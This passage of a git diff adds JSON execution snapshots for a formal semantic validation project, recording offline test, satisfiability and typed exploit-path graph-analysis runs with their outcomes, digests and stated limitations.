"docs/research/formal-semantic-validation/bundles/retest-v33.json", + "release_revision": "34.0.0", + "release_sha256": "cf4e20ab7679c3645a9d1e37ed0a472781e4492b2b0704dc013022de5dbc55be" + }, + "captured_at": "2026-09-19T04:36:31+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1187-execution-v34", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1187-execution-v34", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "e0cc608a64b1912f2c69368bdd561815aa4b749c", + "source_state": { + "base_revision": "e0cc608a64b1912f2c69368bdd561815aa4b749c", + "checkout_state": "modified", + "implementation_digest": "0ddedfed847f4cdf22334c6fc188065bdca1c1be661a75cc1e5ea7633831fda4", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v35.json b/docs/research/formal-semantic-validation/execution-snapshot-v35.json new file mode 100644 index 000000000..d616b7ff6 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v35.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1187-execution-v34", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v34.json", + "release_revision": "35.0.0", + "release_sha256": "b5febf8339dfc5d31bdd61b754d9c23531ca595dd15d0bbfaad8db7265992798" + }, + "captured_at": "2026-09-20T04:32:06.140621+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1189-execution-v35", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": 